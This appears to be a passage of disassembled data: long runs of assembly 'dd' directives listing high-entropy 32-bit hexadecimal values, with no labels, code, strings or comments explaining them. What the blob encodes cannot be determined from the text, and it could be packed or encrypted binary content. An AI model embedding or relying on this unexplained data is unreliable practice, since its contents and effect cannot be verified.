		dd 82208653h, 0F95C52BDh, 21E79829h, 2DFAACBFh,	6214F731h
		dd 58C21FC4h, 81DF0AEh,	30DDACF9h, 0E9105418h, 51719AB6h
		dd 0D2289C33h, 0D4EC0C6Bh, 2BE76818h, 8262F35Bh, 84AA740h
		dd 0B4D02180h, 0C10441AFh, 0A75E9AE8h, 9A16812Dh, 3C60DF5Eh
		dd 8078402Bh, 0CBE04CECh, 0E087594Ah, 4CC5C9E6h, 2047D5Dh
		dd 821F5A5Bh, 100EDF7h,	52575EF2h, 8100AABFh, 0BC30B2EAh
		dd 0AF4BE91Eh, 0F7456580h, 5F63F0D5h, 61D741C8h, 38ABB8C0h
		dd 697851ECh, 480C6BB6h, 5E1BE9C2h, 0A203240Bh,	169597Eh
		dd 20053179h, 0F221E3C1h, 625ADCCh, 42E92DFFh, 5B4C3A77h
		dd 0DE3C9FF8h, 81D19824h, 0F3053C25h, 7FEB02B1h, 8C60EE40h
		dd 0E7DFCFFh, 6865C136h, 0BDED8CF7h, 2D0A0200h,	0E9EE01FBh
		dd 0E20F95C6h, 2538E2ECh, 2101B698h, 6B41CE81h,	0EED87379h
		dd 0C6F6861h, 70F760A1h, 53027850h, 0AF8F0DBBh,	0EA858B87h
		dd 0F2C084B4h, 0A943B512h, 9AE3B60h, 13848A97h,	68094DA2h
		dd 514476DEh, 4AC92E9Eh, 19F34C46h, 6CD651E9h, 33109231h
		dd 0D78CB357h, 2AEC9359h, 0C2262690h, 21F48878h, 201C6188h
		dd 0C2DE0CEh, 0DBF75292h, 4905F310h, 0ECE96676h, 51572590h
		dd 4BBA3FB9h, 0CA206A25h, 8BD94DBEh, 0EC4AE790h, 0E509CD89h
		dd 30669EA8h, 0C81C8BFh, 2768CE45h, 0A451F9D0h,	0D9DA122Eh
		dd 4D3A2611h, 89605D19h, 73050C8h, 7C16BABBh, 0B899A438h
		dd 88765888h, 0C070E35Ah, 10256A43h, 8B1416B7h,	116361Ch
		dd 4B5F8AD7h, 85E016h, 0E98CD185h, 0C08D2D3h, 0AD653ECBh
		dd 21DB6811h, 3845CB10h, 0F86BF741h, 40A84A73h,	52888F4Eh
		dd 0E90878C6h, 0C006146Ah, 20606E0h, 80AE3408h,	0BCF8C4C2h
		dd 581AEA75h, 0F1FD64E9h, 948EB52Ch, 4812C0E9h,	1C4CEC5Dh
		dd 0DA5113C5h, 581620A6h, 0DC2D2118h, 918906BFh, 215013EAh
		dd 157ADB3h, 0D452FB01h, 7194B25Fh, 0B85ECC8Fh,	9B3C5D77h
		dd 0E9C50B7Bh, 0F642A02Eh, 63F780D7h, 42EF0BDEh, 0E9300605h
		dd 0A34C257Ch, 9E5F9990h, 620CD9EFh, 0AE532653h, 3D271502h
		dd 247F7812h, 0C2C8362Eh, 8CC55451h, 881FCAA8h,	0F740036Eh
		dd 53E948D0h, 0A087B1DDh, 0CF217FBAh, 4EB5E2Eh,	0E82672A8h
		dd 4DE989B2h, 4FB93E40h, 43802403h, 251BD55h, 5DEF890Dh
		dd 21BBCF29h, 3E61C601h, 0D001114Fh, 9ADE2770h,	4A20F16Dh
		dd 0F5B2A68h, 43792A93h, 5EF72CCFh, 8857C4CFh, 5C895F8Dh
		dd 34E9C630h, 80CB6FBCh, 0D45F8550h, 21287273h,	0C307EEFBh
		dd 0CF83BC80h, 43BDD894h, 12C3684Ch, 0D093C831h, 851C2A3h
		dd 0B50B2B7Ah, 0B898A329h, 0B4896124h, 38081668h, 1DBA8DDDh
		dd 7B8EC288h, 49FA310Eh, 0BC4128D7h, 81E38B66h,	44E051F2h
		dd 9EBCBA13h, 10B94259h, 7F8F40E8h, 1831E83Dh, 0EE812B37h
		dd 0EE584C5Dh, 80601C1Ch, 5BDE29AAh, 6A54EDE9h,	0C09E5985h
		dd 764CC2h, 61B35350h, 6E5B038h, 0C8FE5BD8h, 8463314h
		dd 0E9D9F610h, 24757874h, 0C83D0F40h, 589DC206h, 20B74411h
		dd 8160BE25h, 0BC20E4BCh, 50C2B030h, 265F07F3h,	0CF51D831h
		dd 6468C301h, 48253357h, 4ABD20C8h, 52961E5Eh, 8A9BC596h
		dd 47D992D9h, 0FD2002EAh, 0C0000466h, 0D2F603EAh, 71CB551h
		dd 0E580C5FEh, 82AE3EDEh, 900EF5C7h, 0EA307BEDh, 0E204597Fh
		dd 723AE9A6h, 56479488h, 6609851Ah, 5CF2D259h, 0BCC19F6Bh
		dd 49E92633h, 3A6880FFh, 5D6DEF21h, 1945548h, 1D787B0Fh
		dd 2645401h, 2212905Eh,	521B1938h, 0AFC8AEB2h, 0A83E0A39h
		dd 8835ED0Ah, 58350493h, 68098BF6h, 974433B3h, 7C2DE91Bh
		dd 6187B8CFh, 99AD58C3h, 0F4638C04h, 10BCC746h,	0E903A911h
		dd 4040F524h, 0FB68C282h, 83567972h, 3CE36473h,	0A3E91E1Ah
		dd 0D362645Bh, 68390292h, 83A2071Bh, 0CA0A6FB6h, 0CFB90E28h
		dd 0E025E623h, 3F78BCDEh, 0C6023D1Bh, 38A46CD8h, 9E3D3751h
		dd 915C50C9h, 3E1C1C7h,	5237619Eh, 680014F8h, 657FDE04h
		dd 8407E627h, 0EB8046B8h, 5CE40369h, 0CE0FA461h, 2901927Ah
		dd 345FE9C6h, 0CF0788D8h, 0BA685859h, 623CBDECh, 1661CF0h
		dd 34F29741h, 4E6C5A8Fh, 10A505Fh, 10330BBh, 61835EF5h
		dd 4BBD3695h, 277DD1D1h, 0DCF18801h, 0D7D85F14h, 3901C92Ah
		dd 2CEF6BC6h, 0C10AEA5Ch, 80CEFC0h, 0BEEBF668h,	46F5B7FFh
		dd 0E9121129h, 4B5DBCC0h, 0CB1289Fh, 6A90A6B7h,	7F814E11h
		dd 303B0F65h, 5021D9CAh, 102C194Ch, 29130C31h, 4CA803D3h
		dd 0BC12B544h, 0D178E082h, 0C90EBC57h, 0F38AA3E5h, 0D0C0F762h
		dd 4FA59136h, 0C26BC001h, 993C0F0Dh, 3CCAAC51h,	0C87DD903h
		dd 63F5F217h, 2946E8F6h, 405D58EAh, 3F491EB5h, 0D335B81Ch
		dd 0BBEE0873h, 880E8624h, 0E6DC4CD3h, 35526728h, 4B168EFAh
		dd 0F248C056h, 71EF03F7h, 2A72EDBAh, 98B97E14h,	32B2696h
		dd 0D5F760C8h, 948CE953h, 0DF97F9F4h, 0FC824652h, 0C1A67E5Fh
		dd 782C8BEFh, 5A83B3A1h, 681C900Ch, 9AA679D1h, 4DF6E926h
		dd 208A419Fh, 14C0A846h, 174B8D16h, 8A090FE9h, 0B4C260EBh
		dd 30CCFE8Ah, 0BA3F7EE9h, 0C0E2AD7h, 42BF57AFh,	786AE25Ch
		dd 0D6292420h, 280B2071h, 0B0D6315Ah, 21505B14h, 0E9DFF63Dh
		dd 267CE4h, 0F281425Bh,	25FF5DD0h, 7B40017Bh, 6BBB2E4Ah
		dd 2C6E983Ch, 0E98F2A9h, 0C149E20Dh, 44860669h,	2CDC6336h
		dd 0C61711A4h, 3F907E67h
		dd 6B2D4003h, 1EC00B5Ah, 8692AFE9h, 0B5B4BCC7h,	0F189D880h
		dd 72345E8Bh, 0DDE87E32h, 1307EE80h, 7AB05066h,	1A45D0C3h
		dd 824C31CFh, 85B93A96h, 0ABE95282h, 818B983Fh,	37B004F6h
		dd 0B55F5DBFh, 14B6528h, 0A5BA7BA2h, 0F6322EA6h, 1C68BE80h
		dd 0FB329553h, 5CF1405Ch, 740B7070h, 61709631h,	631BAF68h
		dd 11C25806h, 0A03C7684h, 0C57374DBh, 0CD54320Ch, 5764DC59h
		dd 33335DF7h, 17169BC3h, 2B01D9F7h, 8235C3A3h, 4EDEFD8h
		dd 122EC4Dh, 51DC4CFh, 0E054E908h, 0F83C2928h, 0A41C2D5Fh
		dd 42ADC3BFh, 0F01D0F48h, 0C059828h, 85123A06h,	0FB50295Eh
		dd 17F4208h, 21B56850h,	5A2D0D9Dh, 141FB084h, 20F410DFh
		dd 2D36015Fh, 0BFB198DEh, 0DA55A6D9h, 3D68AD82h, 0EEB84C30h
		dd 76D92413h, 0B346136Dh, 0D15812ABh, 0F110E2CAh, 4DA594Ch
		dd 43AC28ADh, 0DCCE7582h, 0BE0F7084h, 0EF68C809h, 8D70D952h
		dd 9232B95Eh, 60B31C1Ah, 7C4104D2h, 0C8210728h,	5E714372h
		dd 0B65270D1h, 7D824648h, 79E1E918h, 1E4EF29h, 5B6D6F04h
		dd 960BC568h, 849D5CDh,	8F6089D1h, 171BA332h, 2006F3C1h
		dd 0D4A0C820h, 0AB1F5FD9h, 36894061h, 7964C46Ch, 0B394B56h
		dd 85205312h, 0A967B45h, 82BF1E9Dh, 7C658D9h, 0C780ACB7h
		dd 6AEF336Fh, 1075CF83h, 8843DE83h, 0D4F988FAh,	0A9A1FF74h
		dd 14CA7D8h, 3359F32Fh,	0CBD851C9h, 0A95B1380h,	69DE0071h
		dd 0E90C5220h, 7F098459h, 6F4C633h, 0EAF0837Dh,	21247E7Fh
		dd 0BB5360AFh, 0B42766EDh, 0F742C05Eh, 50ACFD3h, 0B807EB04h
		dd 5893BE5h, 17E997AFh,	1E2FA1F1h, 5C2F0991h, 6AF8D010h
		dd 0B10EC524h, 0FE3BF202h, 8E88E27Dh, 4C0808Dh,	0B829F4EFh
		dd 0D1473B68h, 0F77D4FDEh, 150B55C2h, 68C2F062h, 87BC014Bh
		dd 1CD280D8h, 95A51B43h, 0AF24D5A0h, 0C1810B41h, 3798587Dh
		dd 9C654EEDh, 2055686Ah, 0BE454760h, 4C7F5F33h,	5501E654h
		dd 89B5FAAEh, 0DFE520F3h, 2130CFB0h, 67EA5175h,	6D021244h
		dd 9F116C1h, 60162821h,	3054C7A1h, 669E42A9h, 0FC0CB820h
		dd 0DC0C9D43h, 0E405015Bh, 0E91EE523h, 494A787Ah, 4C6DC40Ah
		dd 0E65A6FC8h, 5F08481Bh, 492E1200h, 4ED72D0Ch,	0D5FEE00h
		dd 1DB33CFAh, 50D827F7h, 2058EF61h, 0CD4D7B70h,	494148EAh
		dd 0A8169394h, 4BE97B8Ch, 66F501AEh, 0E41B79BBh, 0D5C90D8Ah
		dd 0FEF304E1h, 0CDB65F0Eh, 2951F4EFh, 5B6B8C96h, 7C59A87Eh
		dd 40282478h, 47C21D2Ch, 6A297A0Fh, 180820D4h, 96F3015Dh
		dd 1A1A5E34h, 0FA43686Fh, 339C0501h, 0D2293D5Bh, 0AA32CEBh
		dd 0F78A475Fh, 5132FEC0h, 0A713E9D6h, 40921FF2h, 9CC13868h
		dd 0B655FEE9h, 54D424C1h, 2C5ADAF4h, 0D8047177h, 0FE02F2B8h
		dd 3C38E9C2h, 0A8E290A4h, 0C83CD03h, 4F1536Ah, 0C1310C86h
		dd 166349Dh, 953548E9h,	0D5D63D7Ah, 3A133A03h, 1117511Fh
		dd 605E12B0h, 0BA52D489h, 0DC3F3C16h, 2171AC08h, 54746881h
		dd 37343372h, 728DBE53h, 0E9506E54h, 62C76B76h,	0E3EC4B16h
		dd 0D071E209h, 0B37DF064h, 39BE031Fh, 31B0BB23h, 745EE9F3h
		dd 586685C0h, 8BEB6F28h, 0D1B96C86h, 1E26D677h,	0DA952932h
		dd 0A45229B2h, 3512BF4Ah, 9253F5F6h, 40895C40h,	0B9AB5DC8h
		dd 89B8B5C9h, 2478F12h,	2CB60E83h, 11D20633h, 311B0100h
		dd 4625DFh, 0EED1D6F7h,	3267CE81h, 0C27CB26h, 24888D00h
		dd 0BCF78990h, 30430274h, 0CBCB294Bh, 16180650h, 94BEF482h
		dd 0C10077A0h, 37462D58h, 29143B6Ch, 3B0705C8h,	67F40759h
		dd 0D8D32848h, 0C4F44A56h, 1699E883h, 4209B48Eh, 146C0401h
		dd 967D97B1h, 0DC5AD685h, 0E92FCE95h, 685D803Dh, 2F162DBEh
		dd 4700596Eh, 489C4BF1h, 0CD89D31Eh, 6A0DE9C4h,	0BF0263F2h
		dd 60977B8Ah, 30445D60h, 947D8F28h, 83575B27h, 0F9144BBAh
		dd 0F2E15A26h, 0B1A80744h, 498009D2h, 969F114Eh, 0B2B8A102h
		dd 0B486639h, 7BD70E5Eh, 0A21403E5h, 2DAD035Fh,	12ED0807h
		dd 0C91BD616h, 673767E9h, 0A219E9AAh, 445659F6h, 315E6922h
		dd 0DBD179E2h, 0FD142993h, 0AA00397h, 0B0013C8Eh, 0B5F0E950h
		dd 0E6F2B48Fh, 75629737h, 0B0557947h, 0A47357CEh, 0F0264579h
		dd 5200D65Eh, 0A220DA68h, 935A5F29h, 5295A31Fh,	0EA2A7385h
		dd 0D6E2B3FDh, 135AB838h, 0A3365868h, 1911539Fh, 2605BDAh
		dd 0E92D7114h, 6A52351Ah, 694D635Eh, 782C9CB4h,	7FE0B0B4h
		dd 47937501h, 6C68FD5Bh, 0E9122B3Ch, 0F0B8A10Bh, 2507D0F7h
		dd 7FF86441h, 0BEB452D5h, 5EC0B8F1h, 681930F6h,	32BD51EAh
		dd 59FC5644h, 27E90CEEh, 0D8CCCB67h, 3AD51225h,	0A7E7C582h
		dd 2D5C9719h, 4E6882F1h, 0BD45A07Bh, 0B5EE4BA9h, 0BC548D8h
		dd 6382E831h, 62FD56C6h, 0E2784AE9h, 510A5C8Ch,	925A4F68h
		dd 17B77388h, 4E3B8B58h, 0B1484C8Dh, 5E06402Eh,	1C57091Fh
		dd 8F2FDDEAh, 6814106Fh, 0E3754450h, 0DF37C95Ch, 0D906933Ch
		dd 0DBE88F34h, 7A8EBF00h, 0EF811D7Dh, 0D10D8A6Bh, 3DF0C99Dh
		dd 0C7AC8758h, 0EA85D5F7h, 714391C2h, 0D8C62F41h, 0E96156BEh
		dd 9F7313B4h, 92F9341h,	0F3EEEF1Bh, 47412DF6h, 9DC0D434h
		dd 60702E0Dh, 770CF0D2h, 0E4244C7h, 13A876B8h, 8010E9A7h
		dd 454D35ACh, 31143803h, 0F25558C6h, 2CA250D5h,	0BE8A5C29h
		dd 0C09A787Bh, 1CD4B869h, 25021E47h, 175610CEh,	0E9644048h
		dd 41DE4BD1h, 0AD3587Eh, 0A2003A5Fh, 9F3889E7h,	0FEA2A066h
		dd 640C3D1Fh, 2D808575h, 4484354Fh, 720A25E9h, 0F4E2AF9Bh
		dd 47DC0500h, 5D6E17E4h, 0E9F7B429h, 0F3171D4Eh, 83F7E1DDh
		dd 0BA1A0323h, 3C445F7Ch, 89CFCBD1h, 181008B1h,	0FE535512h
		dd 0C93B4A09h, 36830125h, 0E8CD5D38h, 44C0FCBDh, 0F280ADB2h
		dd 0D328251Ch, 0E912D8C6h, 0B39040B8h, 3151D2Ah, 79650528h
		dd 3AA833D8h, 6A13E473h, 57846BE9h, 22DE6E0h, 497F3717h
		dd 0A4C3C801h, 56E8A7CCh, 0EE027C24h, 48A0FDE5h, 2F36E456h
		dd 991429DDh, 40061444h, 1F0AB8B2h, 0A8021061h,	0D8215807h
		dd 0A7F046F2h, 8760C0B8h, 4978683Bh, 0C3133F70h, 0C25034D2h
		dd 0D8A7AB9Eh, 431A01BBh, 95003F0Eh, 59D4BCEBh,	0C5E94CAAh
		dd 1833895Fh, 0FCFC5EFDh, 0CBD36C4Ch, 250C0757h, 2623212h
		dd 674103EAh, 39213B01h, 32C9DACEh, 4F9A096Fh, 0C0833A05h
		dd 621B68E1h, 8765B9BCh, 1282AE95h, 266AC07Ch, 108F8C1h
		dd 18F2BD55h, 2A315469h, 14600ED9h, 0D66217D5h,	0DE380056h
		dd 1FD6646h, 0CF5AD128h, 0E22D4693h, 1207F37Fh,	795CE234h
		dd 0E69E68F5h, 3302440Ch, 63134CDh, 0B45C0D92h,	54485650h
		dd 5A73867Ah, 76ED5A3Dh, 6817793Eh, 6A6545E6h, 0E51096F2h
		dd 1A5B2D15h, 7EA7421Eh, 0E81C254Eh, 9D68533Ah,	0E909E83Bh
		dd 0BB3FC197h, 2C222051h, 0F64C217Bh, 0C9822BE1h, 2204C4CCh
		dd 0F23C60EAh, 0C22C165Eh, 2C7F621h, 0D2888314h, 1EED8B05h
		dd 0CF0B090Bh, 1DC5024h, 0B1516658h, 20CA30F0h,	0E9E8FE6Eh
		dd 5AA85DE8h, 9274A68h,	0E922C881h, 62F3BAACh, 4DCF7C50h
		dd 0BFB2BC55h, 0AF0F7510h, 0F02CE495h, 9F4082B0h, 2A04E6BDh
		dd 0DDF74CAAh, 0BFA089A8h, 99164E55h, 62832170h, 0ADB7E482h
		dd 403A984Bh, 0C1ADC640h, 0EE37E760h, 70864748h, 2920D91Ah
		dd 507B4B0h, 79044E86h,	822DD882h, 54C1E907h, 799925C3h
		dd 482405F8h, 78E59192h, 15BF8CF7h, 6134BA68h, 0E925605Eh
		dd 0AF93498Ch, 3CEF5508h
		dd 0D7C63027h, 0AF6BD2FAh, 8091Ah, 0A9469D54h, 69527E6Fh
		dd 0F310A332h, 57C90A87h, 0B0CFF0DEh, 651209D1h, 2788F301h
		dd 0C95E1208h, 94FA04DFh, 0F64C147h, 0FD719FF2h, 53DDD05Bh
		dd 80D7C4C6h, 6F3D2704h, 15D4CDA0h, 5996B5B6h, 3A2FD85h
		dd 0B3250794h, 8560C569h, 718468E5h, 60E25C8Dh,	9B620A8Bh
		dd 0C8822713h, 3FE48751h, 1E52C059h, 0BB84D8F6h, 44C4C228h
		dd 407836E1h, 94964978h, 0C404674Bh, 14D6BC33h,	1081F129h
		dd 8101B4BCh, 747509F6h, 0E5A490F7h, 716513Bh, 12109E53h
		dd 5BDD3ABBh, 82C37A30h, 333F1940h, 2973E20Fh, 0A4CEA9F9h
		dd 26A0D1DFh, 0EB0514EEh, 172AF221h, 0BFFB4889h, 954E502Dh
		dd 0C1AD0C92h, 661FE8A5h, 237C8949h, 0B9563E46h, 0F01AEBB7h
		dd 0CE292414h, 33072749h, 34A2895Bh, 6801EC54h,	0FB63267Ah
		dd 50CA880Eh, 0BB6D06Eh, 0A1105A81h, 1494D41Dh,	0B29C0B4Fh
		dd 5F16C0D1h, 0A18DB467h, 28889F94h, 300D710Bh,	90C4A43h
		dd 77098EE3h, 0AF5AD631h, 85C18080h, 0B0591D74h, 0A2E9F02Bh
		dd 1527C208h, 0CA688590h, 0BA68403Bh, 4B6D0FBDh, 44F28103h
		dd 0B712C22Fh, 0A9060333h, 0D261E90Bh, 3EAD442Bh, 0FB11701h
		dd 0B802E3CCh, 7C6F09F8h, 0FF5413B3h, 2F07F713h, 15276123h
		dd 0CC480F50h, 0A35020Eh, 21744BFEh, 52A9F8Ah, 0BC766486h
		dd 78C23B8Fh, 32059601h, 15C2707h, 15074AA0h, 9C2F47E9h
		dd 9769C618h, 0F1B8EB89h, 939DCB49h, 1E25DE01h,	1C85316Ah
		dd 0D24499E9h, 5E6468B1h, 0B312A0B0h, 0AE0AA56Ch, 0F3A8E201h
		dd 293ED0Ah, 0AB00A639h, 0E944CA73h, 8D2D4AAEh,	0C3C92A1Dh
		dd 9F63E90h, 7923B568h,	275A8C72h, 5501E111h, 71466850h
		dd 0D03C779Bh, 20BB2DC1h, 0A387D23Eh, 3E83006h,	84005C35h
		dd 0C58912EAh, 0B9E90158h, 5355608Bh, 5A00F6BBh, 0EBD4F68h
		dd 27B097A5h, 6B83A3E9h, 80B9FE30h, 17A336CCh, 8CB66451h
		dd 0CB75597Ah, 0B909DF6Fh, 14579842h, 25565B04h, 364E005Ah
		dd 14BCD34h, 41FCF148h,	78FC5108h, 0EAB734F5h, 67335D78h
		dd 0FAE18DC3h, 12F75686h, 19C8A259h, 5414FA2Bh,	6063B730h
		dd 0ACEE6B37h, 24C566F3h, 68F92BD4h, 0ACBA1512h, 39A8D26Ch
		dd 7DF5A660h, 0CC901AA1h, 0D4251541h, 0A72817E1h, 3AC4E2Eh
		dd 66A61FAAh, 59071825h, 650C8B9Ah, 2F0926AAh, 0B2254164h
		dd 0A11CD9E4h, 0C33F3C88h, 0A4C3E5A6h, 8DC88Eh,	726F5A07h
		dd 0C169E1E9h, 0A6397122h, 0A3F6E6EFh, 17FEB97Ch, 3EF7587Ah
		dd 26CA1414h, 0C7A3FE94h, 142D8226h, 2043904Ch,	5E504270h
		dd 3340BB9Fh, 0E8119A66h, 5A4E3C68h, 0E1118934h, 0D233F171h
		dd 0F9520891h, 5A0D84F7h, 0B9D4F2E9h, 68A0A4F8h, 0E9806907h
		dd 0CD1C5ED7h, 8C92937Bh, 72F9B185h, 4FADB792h,	8CAC7DD4h
		dd 449568E0h, 8F7C1E28h, 0B50F20h, 52E3EE80h, 0F028A6B6h
		dd 0F263A8CBh, 0A9DE5DA1h, 80C94A7Ah, 0B6850FD0h, 168C509Ch
		dd 621DB73Eh, 184D15C6h, 0DA6805FCh, 531F7601h,	22715941h
		dd 0EC5BD664h, 80085443h, 8794DD7h, 50AE1B86h, 8D145D5Fh
		dd 1EC207DEh, 0FCF6639Ch, 30FF3BDBh, 5BAB4896h,	0E3F984EDh
		dd 3F5232D1h, 49B68F6Bh, 1E569F89h, 0C780EF80h,	9A119006h
		dd 8A594ACCh, 0FF2669h,	4EC4E48Dh, 0B45C642Eh, 6945E388h
		dd 0C3F83DA5h, 5AD58912h, 64B6303h, 0E1318A1Fh,	328EDA0h
		dd 0F74B454Ch, 205CC5C4h, 412E89C8h, 385283D9h,	0DA3F2C50h
		dd 724D6A05h, 68590BE4h, 28440830h, 614A8CF0h, 96539FC8h
		dd 56E4622Eh, 0F20B975Ah, 0FF03A58h, 6136A9EFh,	6489BE2Ah
		dd 0B47C6797h, 0C8615080h, 54FDE916h, 14F5A64Bh, 0EFEA28C2h
		dd 86BBB924h, 690CDF68h, 860B874Fh, 5BDE4BBh, 945BA4C3h
		dd 38A2153Ch, 60E9CD4Fh, 0EEBCE7C4h, 4E42A2A7h,	6443073Ch
		dd 5223F0A0h, 8021B20Eh, 0D2F623EAh, 0DA0809D0h, 4274D8E9h
		dd 48E1427h, 685BDE01h,	0DE24F8DDh, 0B50E1E0Ch,	35AE402Dh
		dd 0F75FF109h, 0F857A359h, 0BEE116C1h, 0BF309C7Fh, 2EF6697h
		dd 5BFB49ABh, 4643FE01h, 639354A0h, 0E5014D7Fh,	76F44291h
		dd 2B38C3E9h, 0A843661Ch, 0B8647D8Eh, 70B4F6h, 902047C7h
		dd 6A587912h, 100779DBh, 4F2914E6h, 552FE9D1h, 0AA000132h
		dd 0C148F23Ah, 0EEE602E6h, 0D4C0074Bh, 7954174Ah, 11E925D1h
		dd 2968D581h, 92866D18h, 0BB0059B3h, 45DF2E1Ah,	7B0BCB81h
		dd 4758807h, 61AE2D2Ah,	431BE13h, 4448A5B8h, 11DBE9E0h
		dd 8DB036A6h, 90A3C00h,	5E0D121h, 0EDEB288Ch, 0FEC55997h
		dd 82CAE292h, 77B7CFE9h, 20504711h, 0A9404196h,	0D3FA5C01h
		dd 0A4BC885Bh, 9A2483BCh, 280DCD20h, 0BCCF2976h, 5F2E883Ch
		dd 430300D8h, 872EF381h, 31888001h, 0C8215BD9h,	89E12C7Fh
		dd 0F489595Ah, 0F39875C6h, 6955D368h, 84D00079h, 0EFB0D964h
		dd 0C201352Ah, 4FC403B0h, 0D9102F8Eh, 0DC661801h, 0E0D6F730h
		dd 101ACEE6h, 71041BAh,	61BE06ECh, 96E7D98Dh, 2E3852Bh
		dd 54333C34h, 26575EC0h, 5BF94082h, 182B1E3h, 5E3F30C8h
		dd 0DFDAF346h, 99C98BA0h, 695F6717h, 0B103EA1Eh, 0F1337765h
		dd 0D560B5F1h, 0C3E197B3h, 5C4C0253h, 0FDE7899Dh, 0EB7FEE46h
		dd 78DBDDC1h, 282E0B45h, 0A6FE57B9h, 2E00F00h, 0E9FB315Fh
		dd 0BA85A869h, 167D384Ch, 0A62195DAh, 50BA1306h, 0A040A53Dh
		dd 90FA7E74h, 0B4BD2A8Dh, 478B9D4Ch, 9B20117Bh,	166F94BDh
		dd 0F0AEE95Ch, 380025F7h, 2D6DE874h, 4CFEF539h,	0AE2E75BFh
		dd 243C44A5h, 29F62ABh,	0BB05DD2h, 106F3C41h, 0E909081Bh
		dd 0E97202A5h, 5B49C40Ch, 12CAC413h, 0F03655F5h, 8765591Bh
		dd 5EF12731h, 0D1F62C2Eh, 5F198795h, 61CBE2CEh,	37E9E058h
		dd 25A98233h, 9190D5A9h, 28257F66h, 2EF8F032h, 0D99F589h
		dd 5D22F890h, 435B6BBBh, 1BF284B3h, 0E046D55Ah,	0E92E5780h
		dd 5989FBFEh, 68C4C128h, 20ABBED3h, 0B4380B12h,	51E324B9h
		dd 0AD1FBA19h, 57C01B2Ch, 5A816855h, 1438D525h,	784995ECh
		dd 0B800CE3Eh, 7DB748E8h, 3E00167h, 8E388D2Dh, 0D0387039h
		dd 5F0594C0h, 0B4298C6Fh, 0A7598C64h, 3C09B71Ah, 0F05BFD88h
		dd 0BF17094h, 0F0BFE9C5h, 0E5CAC1B3h, 2B5E4149h, 7D579501h
		dd 74F56FACh, 4811974h,	0F2DB20EAh, 0FB52E15Dh,	0A05F2192h
		dd 8C3E9158h, 60279D75h, 9AC7B003h, 5476734Eh, 110429F6h
		dd 0F9010C63h, 0DB57DAC4h, 338C51F3h, 997A1CBh,	0FA736E13h
		dd 0A1E6F31h, 0A730D129h, 47E16A2Ch, 0BD64ED2h,	2EC00100h
		dd 721ED7BDh, 0F48B673Ch, 0AE43F9DAh, 0E0FE120Ch, 0D709B98Ch
		dd 8050A43Dh, 9C0AF716h, 1843907Eh, 2CC37652h, 5D9139F5h
		dd 0C294ADBEh, 39B8578Ah, 1C4AEA68h, 32225D25h,	25BBE458h
		dd 8DD15202h, 98115225h, 0E933414Bh, 5288DD4Fh,	0E64150EAh
		dd 0BA5200B3h, 0A67A12D0h, 3CDE977h, 4F62E6E2h,	564CF65h
		dd 5C7A10C0h, 0FC6B7F13h, 24590072h, 0DE874E2Ah, 8D3D3F7h
		dd 1E09AD53h, 49AF6865h, 1B880E3h, 63C12C01h, 895BD829h
		dd 58254DAh, 0C2BC16E8h, 4A58FB7Bh, 0B4342EF9h,	950CC0E0h
		dd 4B267AC6h, 0E8B762AAh, 4BA5D083h, 0D6C9810h,	62AA6A95h
		dd 7629CA23h, 0B0B17A31h, 0D2033053h, 0ED7E492Ch, 0A089208h
		dd 8186E1C1h, 0EDF47637h, 8D1E6A29h, 80263F50h,	0D063153h
		dd 6908965Ah, 761A3B09h, 4B9B2703h, 81D3FDD9h, 9195EEB7h
		dd 133BF698h, 0C092878Ch
		dd 4C264BEBh, 0D146F562h, 0B75300B5h, 0EF3D80F6h, 0E5AB91D9h
		dd 0D3EBC507h, 4C7C890Ah, 1CACBC8Dh, 91543FDDh,	0D69FF6BCh
		dd 523DF08Bh, 221E37F6h, 70D73D02h, 0B4BE7540h,	0F46A7B5Ah
		dd 65CE6023h, 352CE0E6h, 1725187Bh, 9FF8F91Dh, 4BC50FA6h
		dd 0C4414EA9h, 3355FA5Ah, 79C3C232h, 0C9D4490Ah, 0BE3C242Fh
		dd 4AC217D6h, 83D71E38h, 56551E8h, 0E3325988h, 0F0016302h
		dd 0D604AFE9h, 0AE686131h, 46E38A56h, 0CC41512Ah, 0F7C4102Fh
		dd 4E7A1D9h, 6662F0AFh,	0D869AB5Ch, 7B1C18CCh, 5FE80C57h
		dd 0E0954E71h, 3B3B6B66h, 84452908h, 3A0BE911h,	0AC51D9B2h
		dd 4A28F1F7h, 9ECF8520h, 0FA87093Ah, 6581FFCh, 3D9F0807h
		dd 0E98BEA31h, 25C1D05Ch, 0FBECFB29h, 1AA84F30h, 945BDD21h
		dd 278D02A0h, 925E5067h, 57C4BF60h, 0E45D4B72h,	3E96141Fh
		dd 837B900h, 904122A1h,	8D290278h, 91E90528h, 0E925D9FCh
		dd 0DED1561Dh, 46CD183Ah, 0DAFA52FBh, 0FB61EEA2h, 0F26801ABh
		dd 0B0E83865h, 25B9BEADh, 0D4E99359h, 5668F0B1h, 2C8F4DE3h
		dd 74B0A405h, 7DA362D4h, 0F5981B12h, 80120AB1h,	9608C7C1h
		dd 303F06BDh, 0EA40B0F9h, 0ECD590FEh, 945DB0D3h, 0E65F13ADh
		dd 0FE37402Bh, 0E99C56C3h, 0BD73049Bh, 80C46037h, 325ACD0Ah
		dd 503ED00Dh, 2DC0C3B8h, 0B15102A4h, 5E82967h, 0C5890782h
		dd 0D2307544h, 42CFF136h, 45334A27h, 0C8AB5A17h, 2214D848h
		dd 49FB1BADh, 0DBB30745h, 607ECB80h, 0E3C0ACEBh, 64F3F203h
		dd 0E060CA5h, 5BDE04F4h, 965012F8h, 0F2169ACAh,	37E2768h
		dd 85149D71h, 0FECF1C95h, 2080E989h, 59C80112h,	1D929505h
		dd 2F119477h, 0D0E40166h, 2C68C040h, 70586036h,	5252B5E9h
		dd 44D71FF8h, 0D5010547h, 812ED85h, 64E76B1Dh, 53DE9C1Ah
		dd 0F368E098h, 9830145Eh, 9301CBBh, 0EDE94422h,	804123A4h
		dd 5CB43842h, 5C63458h,	3ACE32CCh, 3309D700h, 0B0296552h
		dd 87E09748h, 0E64D54E9h, 37C30778h, 0D84B4195h, 0BD92707h
		dd 214D749h, 50516883h,	5E580E56h, 5DD6D0F7h, 0BD698C4h
		dd 4BB57DE9h, 1FE3B1B2h, 9AB35300h, 0CF57D6A1h,	736875D8h
		dd 4CC3EEDh, 0B6520288h, 97E680C2h, 0E982D38Fh,	0B5AEF52Fh
		dd 0BF2008C8h, 7F5EB040h, 0BFF70F81h, 97893FE5h, 2C323AF8h
		dd 61744C54h, 273B0211h, 5C626B39h, 162D2DFCh, 244098D5h
		dd 8C5729A1h, 0A40B2A54h, 6AB6534Fh, 0A740EC9Dh, 0FD86FA8Bh
		dd 5D4E0940h, 270C8563h, 76455C4Bh, 52066804h, 6CC1B2ECh
